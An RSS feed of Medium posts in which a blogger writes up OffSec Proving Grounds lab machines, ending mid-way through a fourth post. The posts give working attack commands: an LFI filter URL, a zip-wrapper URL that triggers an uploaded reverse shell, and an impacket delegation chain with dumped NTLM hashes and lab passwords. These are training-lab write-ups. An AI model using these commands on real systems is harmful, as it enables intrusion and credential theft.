<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by apple of my eye on Medium]]></title>
        <description><![CDATA[Stories by apple of my eye on Medium]]></description>
        <link>https://medium.com/@carlosbudiman?source=rss-cf690dc9fc87------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*X1ZDp8AqtVXycioDvPTK-Q.jpeg</url>
            <title>Stories by apple of my eye on Medium</title>
            <link>https://medium.com/@carlosbudiman?source=rss-cf690dc9fc87------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 01 Dec 2026 11:37:01 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@carlosbudiman/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[OSCP Proving Grounds | Zipper | Hard| Linux]]></title>
            <link>https://medium.com/@carlosbudiman/oscp-proving-grounds-zipper-hard-linux-54487957aab9?source=rss-cf690dc9fc87------2</link>
            <guid isPermaLink="false">https://medium.com/p/54487957aab9</guid>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <dc:creator><![CDATA[apple of my eye]]></dc:creator>
            <pubDate>Wed, 05 Mar 2025 13:07:50 GMT</pubDate>
            <atom:updated>2025-03-05T13:07:50.379Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1bt6J3Ma1yzCNmUkbKy4KQ.png" /></figure><p>Zipper is a machine from offsec’s Proving Ground Practice, it is rated hard, but I think it was too damn hard HAHHA.</p><p>The quick summary for this box was bypassing PHP via wrappers to find the web application’s source code, then finding uploading a reverseshell that was turned into a zip but using a specific PHP filter to unzip it. Then the privilege escalation vector was honestly simple and weird, I’m not sure if I did it right.</p><pre>PORT   STATE SERVICE REASON         VERSION<br>22/tcp open  ssh     syn-ack ttl 61 OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>|   3072 c1:99:4b:95:22:25:ed:0f:85:20:d3:63:b4:48:bb:cf (RSA)<br>| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDH6PH1/ST7TUJ4Mp/l4c7G+TM07YbX7YIsnHzq1TRpvtiBh8MQuFkL1SWW9+za+h6ZraqoZ0ewwkH+0la436t9Q+2H/Nh4CntJOrRbpLJKg4hChjgCHd5KiLCOKHhXPs/FA3mm0Zkzw1tVJLPR6RTbIkkbQiV2Zk3u8oamV5srWIJeYUY5O2XXmTnKENfrPXeHup1+3wBOkTO4Mu17wBSw6yvXyj+lleKjQ6Hnje7KozW5q4U6ijd3LmvHE34UHq/qUbCUbiwY06N2Mj0NQiZqWW8z48eTzGsuh6u1SfGIDnCCq3sWm37Y5LIUvqAFyIEJZVsC/UyrJDPBE+YIODNbN2QLD9JeBr8P4n1rkMaXbsHGywFtutdSrBZwYuRuB2W0GjIEWD/J7lxKIJ9UxRq0UxWWkZ8s3SNqUq2enfPwQt399nigtUerccskdyUD0oRKqVnhZCjEYfX3qOnlAqejr3Lpm8nA31pp6lrKNAmQEjdSO8Jxk04OR2JBxcfVNfs=<br>|   256 0f:44:8b:ad:ad:95:b8:22:6a:f0:36:ac:19:d0:0e:f3 (ECDSA)<br>| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBI0EdIHR7NOReMM0G7C8zxbLgwB3ump+nb2D3Pe3tXqp/6jNJ/GbU2e4Ab44njMKHJbm/PzrtYzojMjGDuBlQCg=<br>|   256 32:e1:2a:6c:cc:7c:e6:3e:23:f4:80:8d:33:ce:9b:3a (ED25519)<br>|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDCc0saExmeDXtqm5FS+D5RnDke8aJEvFq3DJIr0KZML<br>80/tcp open  http    syn-ack ttl 61 Apache httpd 2.4.41 ((Ubuntu))<br>| http-methods: <br>|_  Supported Methods: GET HEAD POST OPTIONS<br>|_http-title: Zipper<br>|_http-server-header: Apache/2.4.41 (Ubuntu)<br>Device type: general purpose|router<br>Running: Linux 5.X, MikroTik RouterOS 7.X</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/830/1*XaDc6dYvBKgpWiUFfYu1lQ.png" /></figure><p>So when you upload a file it zips it and then gives a link to download it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/819/1*8Wd1Ggpf9HJrDZAzO82Buw.png" /></figure><p>Hmmm, likely an LFI vector.</p><p><a href="https://github.com/RoqueNight/LFI---RCE-Cheat-Sheet">GitHub - RoqueNight/LFI---RCE-Cheat-Sheet: Transition form local file inclusion attacks to remote code exection</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/764/1*IhzTev59J1Nwzx5xEzPJqg.png" /></figure><pre>http://192.168.238.229/index.php?file=php://filter/convert.base64-encode/resource=index</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dcKDb3xNi66DAEj2ODReqg.png" /></figure><p>Base64 decoded :</p><pre>&lt;?php<br>$file = $_GET[&#39;file&#39;];<br>if(isset($file))<br>{<br> include(&quot;$file&quot;.&quot;.php&quot;);<br>}<br>else<br>{<br>include(&quot;home.php&quot;);<br>}<br>?&gt;</pre><p>Found that it appends .php at the end, let’s find more things aside from index using ferox buster :</p><pre>echo &quot;http://192.168.238.229/index.php?file=php://filter/convert.base64-encode/resource=&quot; | feroxbuster --stdin -k -n --random-agent -T 3 --json -o feroxbuster_results.txt -s 200,301,302,401,403 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt     </pre><p>found home and upload and index</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/820/1*lfR8IQjEbQ_SclzKnHWI3g.png" /></figure><p>It seems that all the zip files are at ./uploads. Had to use a hint and searching to find a php filter ‘zip://’ that automatically unzips and then reads the file.</p><p>So what we could do from here is upload a revshell and then zip it, then use the php filter to unzip and read the file. I used a Ivan Sincek php rev shell from revshells.com and uploaded it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bIwqbcD5J8ZRGYdRjvOgUw.png" /></figure><p>So now to access it we need to use the PHP filter then the zip location at /uploads, then add an encoded # (%23) + the file name :</p><pre>192.168.238.229/index.php?file=zip://uploads/upload_1741178651.zip%23revshells</pre><p>I had to find another walkthrough which had a really good article regarding this exploit to RCE : <a href="https://rioasmara.com/2021/07/25/php-zip-wrapper-for-rce/?source=post_page-----b49a52ed8e38---------------------------------------">https://rioasmara.com/2021/07/25/php-zip-wrapper-for-rce/?source=post_page-----b49a52ed8e38---------------------------------------</a></p><p>Remember to not put .php since the web app appends it anyway</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/767/1*5QSAGwdOL6Hp9JowTsN99w.png" /></figure><p>lets run linpeas</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/832/1*4SS3yVl7X_t65GI6lQ9CuA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/578/1*x3dSrEsCOxt_as6YxtHOPA.png" /></figure><p>Found some interesting files like backup.sh</p><pre>www-data@zipper:/opt$ cat backup.sh<br>cat backup.sh<br>#!/bin/bash<br>password=`cat /root/secret`<br>cd /var/www/html/uploads<br>rm *.tmp<br>7za a /opt/backups/backup.zip -p$password -tzip *.zip &gt; /opt/backups/backup.log</pre><p>foudn this in /opt/backups</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RELLEcw8EkGtDQetFWiJxw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/503/1*DXRWr2nLB5VweS1pd8pSgg.png" /></figure><p>Bruh it was the root password.</p><p>Overall this was a super difficult box for me, had to cross check walk throughs on how things worked, but finally it worked out, I learnt a lot when it came to LFI and overall PHP exploits. Realizing that there was something like filters and all that, which could ultimately aid in exploiting.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=54487957aab9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[OSCP Proving Grounds | Image | Intermediate | Linux]]></title>
            <link>https://medium.com/@carlosbudiman/oscp-proving-grounds-image-intermediate-linux-c6536ff5c93d?source=rss-cf690dc9fc87------2</link>
            <guid isPermaLink="false">https://medium.com/p/c6536ff5c93d</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[apple of my eye]]></dc:creator>
            <pubDate>Wed, 05 Mar 2025 06:57:33 GMT</pubDate>
            <atom:updated>2025-03-05T06:57:33.689Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sccseI9wJOQaH9RdVasmYQ.png" /></figure><p>Resourced is a machine from offsec’s Proving Ground Practice, it is rated intermediate, and I don’t really agree with the rating, I would’ve rated it easy.</p><p>The quick summary for this box was finding an exploit for the web application which led to the initial foothold then exlploiting a binary that has improper SUID bits configured then using that to smash to root with the help of resources like GTFObins.</p><pre>Nmap scan report for 192.168.210.178<br>Host is up, received user-set (0.15s latency).<br>Scanned at 2025-03-05 17:18:47 AEDT for 20s<br>Not shown: 998 closed tcp ports (reset)<br>PORT   STATE SERVICE REASON         VERSION<br>22/tcp open  ssh     syn-ack ttl 61 OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>|   3072 62:36:1a:5c:d3:e3:7b:e1:70:f8:a3:b3:1c:4c:24:38 (RSA)<br>| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDFR/u8yZrrxkDWw/8gy/fNFksvT+QIL8O/6eD8zVxwKwgBURa9uRtOC8Dk6P+ktLwXJ9oSUitZeXVWjijbehpZBVHvywEOj9nc0bmk0+M/DGGbr1etS7cDvRzRATUtMPxQfYhzXqHlZe6Q2GfA0c75uybUXxOha8CTdK0Iv/maUUaiaPv3LGebQ4CpNaXNQfYVpCdsxLn5MxFi+tfenn/4CinBPn1Ahnx499V1G0ANTaKLsEETjqaMd5jnmml2wH1GmKfKf/6FevWv0Q9Ylsi3x/ipkDpcQAMRQ/aw5NuSSDrGTdo0wRuuoEf5Ybenp9haPVxUAPHbEcMI2hdcP5B3Cd03qimMhHEkFXE8sTUxRKHG+hg7cF8On1EXZsH1fsVyrFAAoHRrap5CsubmNXT93EcK7lc65DbKgeqls643x0p/4WOUiLXFstm6X4JCdEyhvWmnYtL3qDKMuQbCwrCJGeDjoaZTjHXbpjSxSnvtO04RT84x2t8MThyeYO3kSyM=<br>|   256 ee:25:fc:23:66:05:c0:c1:ec:47:c6:bb:00:c7:4f:53 (ECDSA)<br>| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNBWjceIJ9NSOLk8zk68zCychWoLxrcrsuJYy2C1pvpfOhVBrr8QBhYbJxzzGJ7DpuMT/DXiCwuLXdu0zeR4/Dk=<br>|   256 83:5c:51:ac:32:e5:3a:21:7c:f6:c2:cd:93:68:58:d8 (ED25519)<br>|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIG3LJwn9us7wxvkL0E6EEgOPG3P0fa0fRVuJuXeASZvs<br>80/tcp open  http    syn-ack ttl 61 Apache httpd 2.4.41 ((Ubuntu))<br>|_http-server-header: Apache/2.4.41 (Ubuntu)<br>|_http-title: ImageMagick Identifier<br>| http-methods: <br>|_  Supported Methods: GET HEAD POST OPTIONS</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/666/1*ZEhjliVZJSi-G6vca4yQSA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/529/1*-MiISaPTA9zY_ACKPEwb8g.png" /></figure><p>It revealed the version of imagemagick when a proper file was uploaded.</p><p>While i did allat, I ran directory busting but didnt found anything :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Geu94mQ3T0gyYonNHF_YSA.png" /></figure><p>found a exploit for that specific version of the web application.</p><p><a href="https://github.com/overgrowncarrot1/ImageTragick_CVE-2023-34152">GitHub - overgrowncarrot1/ImageTragick_CVE-2023-34152: CVE-2023-34152</a></p><p>The exploit creates a malicious png file where the payload is located in the name of the png file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/795/1*maa9YE_Q5kNkrCF0GR0NOA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/794/1*j_6yjHpqFxeqWCHWf3vA8A.png" /></figure><p>uploaded it while setting up a listener, and a shell popped :)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/762/1*QeMJbwgnAQqYIaVh_3K5bw.png" /></figure><p>lets run linpeas</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/562/1*c9af2Z1kKuJAVh388ABrPQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/798/1*Abxf21M9zgS-Zt5p8CbYLg.png" /></figure><p>We could see that the permissions is ‘-rwxr-sr-x’ which most likely means that the SUID bit can be exploited :).</p><p>Also found this, buti try to not use any CVEs from exploit suggester unless i get desperate.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/797/1*s5aUg-V6CamSAFfZIJZUNg.png" /></figure><p><a href="https://gtfobins.github.io/gtfobins/strace/">strace | GTFOBins</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/821/1*VR2n4QOrCKmRTe8-nYSTOQ.png" /></figure><p>GTFObins revealed the way to use it to PE.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/802/1*2TvTFzZ6rDR0PTXjwvX52A.png" /></figure><p>Welp, that was easy. Hope this was helpful :).</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c6536ff5c93d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[OSCP Proving Grounds | Resourced | Intermediate | Active Directory]]></title>
            <link>https://medium.com/@carlosbudiman/oscp-proving-grounds-resourced-intermediate-active-directory-3ca615a1ada3?source=rss-cf690dc9fc87------2</link>
            <guid isPermaLink="false">https://medium.com/p/3ca615a1ada3</guid>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[apple of my eye]]></dc:creator>
            <pubDate>Wed, 05 Mar 2025 06:14:16 GMT</pubDate>
            <atom:updated>2025-03-05T06:14:16.075Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*y2jt0uDudepI0r5RKiQYjg.png" /></figure><p>Resourced is a machine from offsec’s Proving Ground Practice, it is rated intermediate, and I do agree with the rating.</p><p>The quick summary for this box was to do initial enum to find some credentials either via SMB, enum4linux, or RPC your pick. Then using the credentials to find SYSTEM, ntds, and Security files to get a ton of hashes. One of these hashes can then be used to connect via winrm, then enumerate using bloodhound in order to find an interesting privilege :). From there, the current user could create a silver ticket in order to PE to DC.</p><pre>Nmap scan report for 192.168.210.175<br>Host is up, received user-set (0.14s latency).<br>Scanned at 2025-03-05 14:43:19 AEDT for 351s<br>Not shown: 65515 filtered tcp ports (no-response)<br>PORT      STATE SERVICE       REASON          VERSION<br>53/tcp    open  domain        syn-ack ttl 125 Simple DNS Plus<br>88/tcp    open  kerberos-sec  syn-ack ttl 125 Microsoft Windows Kerberos (server time: 2025-03-05 03:47:21Z)<br>135/tcp   open  msrpc         syn-ack ttl 125 Microsoft Windows RPC<br>139/tcp   open  netbios-ssn   syn-ack ttl 125 Microsoft Windows netbios-ssn<br>389/tcp   open  ldap          syn-ack ttl 125 Microsoft Windows Active Directory LDAP (Domain: resourced.local0., Site: Default-First-Site-Name)<br>445/tcp   open  microsoft-ds? syn-ack ttl 125<br>464/tcp   open  kpasswd5?     syn-ack ttl 125<br>593/tcp   open  ncacn_http    syn-ack ttl 125 Microsoft Windows RPC over HTTP 1.0<br>636/tcp   open  tcpwrapped    syn-ack ttl 125<br>3268/tcp  open  ldap          syn-ack ttl 125 Microsoft Windows Active Directory LDAP (Domain: resourced.local0., Site: Default-First-Site-Name)<br>3269/tcp  open  tcpwrapped    syn-ack ttl 125<br>3389/tcp  open  ms-wbt-server syn-ack ttl 125 Microsoft Terminal Services<br>| ssl-cert: Subject: commonName=ResourceDC.resourced.local<br>| Issuer: commonName=ResourceDC.resourced.local<br>| Public Key type: rsa<br>| Public Key bits: 2048<br>| Signature Algorithm: sha256WithRSAEncryption<br>| Not valid before: 2025-03-04T03:40:56<br>| Not valid after:  2025-09-03T03:40:56<br>| MD5:   f38f:eda1:b892:6f3b:e3a5:b137:8f6c:c3d1<br>| SHA-1: 7b14:81fd:3497:1265:e786:4f97:a49a:23c2:7e83:b195<br>| -----BEGIN CERTIFICATE-----<br>| MIIC+DCCAeCgAwIBAgIQHH9Wx7CImLpGAjbt1xF+QDANBgkqhkiG9w0BAQsFADAl<br>| MSMwIQYDVQQDExpSZXNvdXJjZURDLnJlc291cmNlZC5sb2NhbDAeFw0yNTAzMDQw<br>| MzQwNTZaFw0yNTA5MDMwMzQwNTZaMCUxIzAhBgNVBAMTGlJlc291cmNlREMucmVz<br>| b3VyY2VkLmxvY2FsMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAyfC1<br>| tyS2cngtn0gSEc8/Brl3ezWd1xBMqafvmEWXhzpEotqC7QYLmaWdF3KvTNiswcQq<br>| 8Qyo9vf7g4bvuR6VGJPoI4R/0PPm1xHImO3RZr5oyUhnjWZpCLXE8QqS8NwHsv2D<br>| HChkqs4xMbW2y8/SlFUZDDxxrOsE9TvWNey43mCNxv6zByC0RmB60YZq4VUYx6aQ<br>| GWBNyf0u8G+Es8sSYP6FoqMZC7MCahbyG+WlzAMePeDCxfTTWZgw3Jv93I8FWLcX<br>| 57hPk0nIYuH0eQg3CKGu+RwuvBS2uYo6OdG+C4j0tBgVXeozT3wr0dh/n/LfdhxH<br>| rjzY7y07CQR7kHDmyQIDAQABoyQwIjATBgNVHSUEDDAKBggrBgEFBQcDATALBgNV<br>| HQ8EBAMCBDAwDQYJKoZIhvcNAQELBQADggEBAFv5rGGHDOUkNzGRV9ujl8rSIa8r<br>| 3pE3TZqs4ZzPlxiNIWOP9zwKFuM9etV0+Y7dKCYr2pu2TPk2NzEHQpT1MwniCPQX<br>| Mg9jMYoQy/eZl3uGg9NpogN4JyDRdOyS0FolYBn25ZItz9CbDFbke+tmJVrx4uH9<br>| mY2JEuc+u0UvjYtFCrrVdD7CcKOdmYmIeBACTVK+EGn6DGAPDVK/QCGRVyHQdeN1<br>| BOcAY55mIEWhluYYwfH+jprntN3tCdNCICcUi1sZGP6Leqd4QsBNshVnoPpuaDoC<br>| kWVwsBlRTxy57lkRPYlIUKGaXm6R8brlRF4v48vu+r20cIM9g1578yEWXGQ=<br>|_-----END CERTIFICATE-----<br>| rdp-ntlm-info: <br>|   Target_Name: resourced<br>|   NetBIOS_Domain_Name: resourced<br>|   NetBIOS_Computer_Name: RESOURCEDC<br>|   DNS_Domain_Name: resourced.local<br>|   DNS_Computer_Name: ResourceDC.resourced.local<br>|   DNS_Tree_Name: resourced.local<br>|   Product_Version: 10.0.17763<br>|_  System_Time: 2025-03-05T03:48:27+00:00<br>|_ssl-date: 2025-03-05T03:49:06+00:00; 0s from scanner time.<br>5985/tcp  open  http          syn-ack ttl 125 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)<br>|_http-server-header: Microsoft-HTTPAPI/2.0<br>|_http-title: Not Found<br>9389/tcp  open  mc-nmf        syn-ack ttl 125 .NET Message Framing<br>49666/tcp open  msrpc         syn-ack ttl 125 Microsoft Windows RPC<br>49668/tcp open  msrpc         syn-ack ttl 125 Microsoft Windows RPC<br>49674/tcp open  ncacn_http    syn-ack ttl 125 Microsoft Windows RPC over HTTP 1.0<br>49675/tcp open  msrpc         syn-ack ttl 125 Microsoft Windows RPC<br>49693/tcp open  msrpc         syn-ack ttl 125 Microsoft Windows RPC<br>49708/tcp open  msrpc         syn-ack ttl 125 Microsoft Windows RPC</pre><p>LDAP :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/837/1*hRP16LRQk8WLTiM7dHNPYw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/976/1*UiigZvRtaafchKRH1fQlog.png" /></figure><p>no luck, no users or creds found</p><p>RPC :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/695/1*uZvTnHPhZm_fR5KzS6ijVw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/454/1*ifxMv1Ir2uPMCUqYhxWZ_A.png" /></figure><p>So you could find the initial creds via RPC, by querying each user one by one, but I used SMB to found the creds.</p><p>SMB:</p><pre>netexec smb 192.168.210.175 --users </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1WpzkXwp_kmXl0y7Z6C_sw.png" /></figure><p>My first reflect after getting these lists of users is to do AS-REP for all the users</p><p>ASREP no luck :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IPnVJ2gL3Engj4aODS1izQ.png" /></figure><p>I guess it’s not the intended route.</p><pre><br>V.Ventz:HotelCalifornia194</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FgpDF_YjetSJjU8aNqAhTw.png" /></figure><p>Let’s spray this password to common services ^</p><p>Could connect via RDP or winRM, but could for SMB :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*u5cQb5Bw5WTgNamjOIZkVw.png" /></figure><p>Oo, some interesting folder, Connect via SMB, SMB CLIENT</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/816/1*UnH_39DQJEfPF0zgSt8eYg.png" /></figure><p>lol Found the SYSTEM and SECURITY Files and ntds.dit</p><p>Let’s download them and dump them using secretsdump</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*muIvk7Aq3ZKWR1GQf-YxRQ.png" /></figure><pre>Administrator:500:aad3b435b51404eeaad3b435b51404ee:12579b1666d4ac10f0f59f300776495f:::<br>Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::<br>RESOURCEDC$:1000:aad3b435b51404eeaad3b435b51404ee:9ddb6f4d9d01fedeb4bccfb09df1b39d:::<br>krbtgt:502:aad3b435b51404eeaad3b435b51404ee:3004b16f88664fbebfcb9ed272b0565b:::<br>M.Mason:1103:aad3b435b51404eeaad3b435b51404ee:3105e0f6af52aba8e11d19f27e487e45:::<br>K.Keen:1104:aad3b435b51404eeaad3b435b51404ee:204410cc5a7147cd52a04ddae6754b0c:::<br>L.Livingstone:1105:aad3b435b51404eeaad3b435b51404ee:19a3a7550ce8c505c2d46b5e39d6f808:::<br>J.Johnson:1106:aad3b435b51404eeaad3b435b51404ee:3e028552b946cc4f282b72879f63b726:::</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JhnVcsXwsyNf891g-_gvKQ.png" /></figure><p>Checked the privs using whoami /priv and all that but nothing interesting, so let’s pause and run bloodhound.</p><pre>bloodhound-python -d resourced.local -u v.ventz -p &#39;HotelCalifornia194!&#39; -ns 192.168.210.175 -c all --dns-timeout 30</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/671/1*sPgnbAm5xUmaFxSED0-ZDQ.png" /></figure><p>oooo</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/842/1*52o6XQNyyZaCCx-R2Dr5wQ.png" /></figure><p>Found this when pressing first degree object control for L.Livinstone</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/657/1*I_cXgEzQCOXoXdkX-27rqw.png" /></figure><p>I followed the linux abuse to the T, but a lot of the flags were outdated, I probably spent the most time trying to fix the flags and allat.</p><p>This article was very helpful: <a href="https://tools.thehacker.recipes/impacket/examples/addcomputer.py">https://tools.thehacker.recipes/impacket/examples/addcomputer.py</a></p><p>Most of the text here I will be taking from bloodhound btw.</p><pre>impacket-addcomputer -computer-name &#39;ATTACKERSYSTEM$&#39; -computer-pass &#39;Summer2018!&#39; -dc-host 192.168.210.175 -domain-netbios resourced.local &#39;resourced.local/l.livingstone&#39; -hashes &#39;:19a3a7550ce8c505c2d46b5e39d6f808&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/805/1*zfdtMYwJMaVP1Fvh348xtQ.png" /><figcaption>First, if an attacker does not control an account with an SPN set, a new attacker-controlled computer account can be added with Impacket’s addcomputer.py example script:</figcaption></figure><pre><br>impacket-rbcd -delegate-from &#39;ATTACKERSYSTEM$&#39; -delegate-to &#39;RESOURCEDC$&#39; -action &#39;write&#39; &#39;resourced.local/l.livingstone&#39; -hashes &#39;:19a3a7550ce8c505c2d46b5e39d6f808&#39; -dc-ip 192.168.210.175</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/808/1*flixLvVcjYPy1U5FzxWDEQ.png" /><figcaption>We now need to configure the target object so that the attacker-controlled computer can delegate to it. Impacket’s rbcd.py script can be used for that purpose:</figcaption></figure><pre>impacket-getST -spn &#39;cifs/resourcedc.resourced.local&#39; -impersonate &#39;Administrator&#39; &#39;resourced.local/attackersystem$:Summer2018!&#39; -dc-ip 192.168.210.175</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/825/1*zeJW3Ul3Cdc4Wf0ge1lSDg.png" /><figcaption>And finally we can get a service ticket for the service name (sname) we want to “pretend” to be “admin” for. Impacket’s getST.py example script can be used for that purpose.</figcaption></figure><p>This ticket can then be used with Pass-the-Ticket, and could grant access to the file system of the TARGETCOMPUTER.</p><p>lol what is that ticket name</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/823/1*jkLzDEvxdm67lWemCQz4zw.png" /><figcaption>dont forget to edit your /etc/hosts</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/815/1*XZnF1S1SJArm4RVN0u_mfw.png" /></figure><p>Time to pwn this</p><pre><br>export KRB5CCNAME=./Administrator@cifs_resourcedc.resourced.local@RESOURCED.LOCAL.ccache<br><br>impacket-psexec resourcedc.resourced.local  -target-ip 192.168.210.175 -k -no-pass</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/839/1*f-n2vWwQVj8bnzdpDYY8Dw.png" /></figure><p>Yippee</p><p>Hope this was insightful and helpful for you</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3ca615a1ada3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[OSCP Proving Grounds | dev_working | Intermediate| Linux]]></title>
            <link>https://medium.com/@carlosbudiman/oscp-proving-grounds-dev-working-intermediate-linux-cd59f01b42c9?source=rss-cf690dc9fc87------2</link>
            <guid isPermaLink="false">https://medium.com/p/cd59f01b42c9</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[apple of my eye]]></dc:creator>
            <pubDate>Tue, 04 Mar 2025 07:58:45 GMT</pubDate>
            <atom:updated>2025-03-04T07:58:45.360Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/560/1*AVpnLD5-3D81UxE4kYan0w.png" /></figure><p>dev_working is a new machine that was just recently added in the time of me writing this (March 4, 2025). I found this machine pretty damn hard, which involved reverse engineering via ghidra and finding which specific function was the root SUID bit executable is running in order to Privilege Escalate to root.</p><pre>Nmap scan report for 192.168.136.205<br>Host is up, received user-set (0.13s latency).<br>Scanned at 2025-03-04 16:13:54 AEDT for 196s<br>Not shown: 65532 filtered tcp ports (no-response)<br>PORT     STATE SERVICE REASON         VERSION<br>22/tcp   open  ssh     syn-ack ttl 61 OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>|   256 f2:5a:a9:66:65:3e:d0:b8:9d:a5:16:8c:e8:16:37:e2 (ECDSA)<br>| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBGT2bbuknyDQCZL8wcewIxfJHCT3ZA9MHovHm5vV8gnY+WaklYD1KkExYX16RT7Du6kDkOd7/VtgT8wyumO7X74=<br>|   256 9b:2d:1d:f8:13:74:ce:96:82:4e:19:35:f9:7e:1b:68 (ED25519)<br>|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP9T+RtTpSheh2mjfbGIXvNadPVCLuheP1AqmUPx6yic<br>3306/tcp open  mysql   syn-ack ttl 61 MySQL (blocked - too many connection errors)<br>8983/tcp open  http    syn-ack ttl 61 Jetty<br>|_http-favicon: Unknown favicon MD5: ED7D5C39C69262F4BA95418D4F909B10<br>| http-title: Solr Admin<br>|_Requested resource was /solr/<br>| http-methods: <br>|_  Supported Methods: GET HEAD POST OPTIONS<br>Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port<br>Device type: general purpose|router<br>Running (JUST GUESSING): Linux 